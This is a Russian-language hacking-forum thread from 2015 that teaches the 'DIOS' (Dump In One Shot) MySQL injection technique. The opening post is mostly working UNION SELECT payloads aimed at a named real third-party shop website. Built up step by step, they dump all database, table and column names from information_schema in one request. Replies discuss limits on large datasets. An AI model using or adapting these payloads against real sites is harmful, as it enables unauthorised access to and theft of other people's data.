SQLi DIOS

Discussion in 'Уязвимости' started by Mister_Bert0ni, 16 May 2015.

  1. Mister_Bert0ni

    Mister_Bert0ni Reservists Of Antichat

    Joined:
    10 May 2015
    Messages:
    142
    Likes Received:
    190
    Reputations:
    57
    Предисловие
    Всем привет) И так, продолжаю свою серию постов "для нубиков таких как я"
    Не знаю почему,но я почему то думал что тут найдуться множество статей о так называемом
    DIOS ( Dump In One Shot), но увы как то маловато статей я встретел и решил запостить свою.

    SQLi DIOS
    DIOS - DUmp In One Shot ( Дамп всего за один выстрел)
    Для наглядности возьмем какуе то скулю из нашего поста.Желательно без WAF для наглядной демонстрации.
    Возьмем для примера эту скулю:
    Code:
    http://www.podarochek.by/about?curCategory=10&curItem=.1 union select 1,2,3,4,5,6,7,8,9-- -
    
    Будем пробовать разобрать принцип работы DIOS.
    Для того что бы понять что делает DIOS, давайте посмотрем на базовый запрос который вернет на
    список всех доступных вебприложению БД
    Code:
    (select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.schemata)where
    (@a)in (@a:=concat(@a,schema_name,'<br>'))))a)
    
    Для нашего примера это выглядит так:
    Code:
    http://www.podarochek.by/about?curCategory=10&curItem=.1 +UNION+ALL+SELECT+1,
    concat((select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.schemata)
    where (@a)in (@a:=concat(@a,schema_name,0x3c62723e))))a)),3,@@version,5,6,7,8,9 -- -
    
    [​IMG]
    И так давайте посмотрем что делает запрос:
    Сначала делает select переменной @a из information_schema.tables и обьеденяем все имена из schema в 'IN'.
    И как мы все уже догадались,все имена БД придет в цикл 'IN' и будут выбраны ,так как все они существуют в таблице
    information_schema.schemata
    Теперь плавно перейдем к следующему запросу который позволит нам получить все таблицы:
    Code:
    http://www.podarochek.by/about?curCategory=10&curItem=
    .1 +UNION+ALL+SELECT+1,concat((select (@a) from (select(@a:=0x00),(select (@a) from
    (information_schema.tables)where (@a)in
    (@a:=concat(@a,table_name,0x3c62723e))))a)),3,@@version,5,6,7,8,9 -- -
    
    [​IMG]
    Здесь принцип тотже, только выбераюься table_name из information_schema.tables
    Хорошо идем) Но часто нам бывает не нужен вывод таблиц information_schema.Для того что бы отбросить вывод
    таблиц Information_schema немного изменим запрос:
    Code:
    http://www.podarochek.by/about?curCategory=10&curItem=
    .1 +UNION+ALL+SELECT+1,concat((select (@a) from (select(@a:=0x00),
    (select (@a) from (information_schema.tables)where
    (table_schema!=0x696e666f726d6174696f6e5f736368656d61) and
    (@a)in (@a:=concat(@a,table_name,0x3c62723e))))a)),3,@@version,5,6,7,8,9 -- -
    
    [​IMG]
    Теперь мы получаем список таблиц из всех баз кроме Information_schema
    Теперь в вывод добавим имя базы перед именем таблицы с помощью следующего запроса:
    Code:
    http://www.podarochek.by/about?curCategory=10&curItem=
    .1 +UNION+ALL+SELECT+1,concat((select (@a) from (select(@a:=0x00),(select (@a) from
    (information_schema.tables)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61) and  (@a)in
    (@a:=concat(@a,0x3c6c693e,table_schema,0x203a3a20,table_name,0x3c62723e))))a)),3,@@version,5,6,7,8,9 -- -
    
    [​IMG]
    Дальше как вы догадались добавим в вывод имена столбцов:
    Code:
    http://www.podarochek.by/about?curCategory=10&curItem=
    .1 +UNION+ALL+SELECT+1,concat((select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.columns)where
    (table_schema!=0x696e666f726d6174696f6e5f736368656d61) and  (@a)in (@a:=concat(@a,0x3c6c693e,table_schema,
    0x203a3a20,table_name,0x203a3a20,column_name,0x3c62723e))))a)),3,@@version,5,6,7,8,9 -- -
    
    [​IMG]

    Это лишь основы DIOS.Есть уже много готовых DIOS написанных многими людьми.Многие с них собраны в хакбаре для Mozilla Firefox который я вылаживал в посте http://forum.antichat.ru/threads/425298/
    Небольшая демонстрация плагина.
     
    #1 Mister_Bert0ni, 16 May 2015
    Last edited: 16 May 2015
    Gorev, joelblack, SeytaR and 5 others like this.
  2. UXOR

    UXOR Member

    Joined:
    16 Aug 2013
    Messages:
    44
    Likes Received:
    7
    Reputations:
    6
    nikp and Шниперсон like this.
  3. psihoz26

    psihoz26 Members of Antichat

    Joined:
    22 Nov 2010
    Messages:
    545
    Likes Received:
    159
    Reputations:
    324
    Боюсь пробовать на 1кк записей. Скажите как работать будет с такими объёмами?
     
  4. nopony

    nopony New Member

    Joined:
    29 Aug 2013
    Messages:
    7
    Likes Received:
    2
    Reputations:
    8
    Осмелюсь предположить что вкладка браузера зависнет(если не сам браузер)
    Собсна как и при обычном echo проделанным миллион раз,вывод по 100к записей вполне решит эту проблему,но это уже будет не one shot
     
    #4 nopony, 19 May 2015
    Last edited: 19 May 2015
  5. nikp

    nikp Banned

    Joined:
    19 Sep 2008
    Messages:
    328
    Likes Received:
    591
    Reputations:
    764
    С дефолтными настройками мускула отдаст не более 1М данных, иначе вернет null.
     
    YaBtr likes this.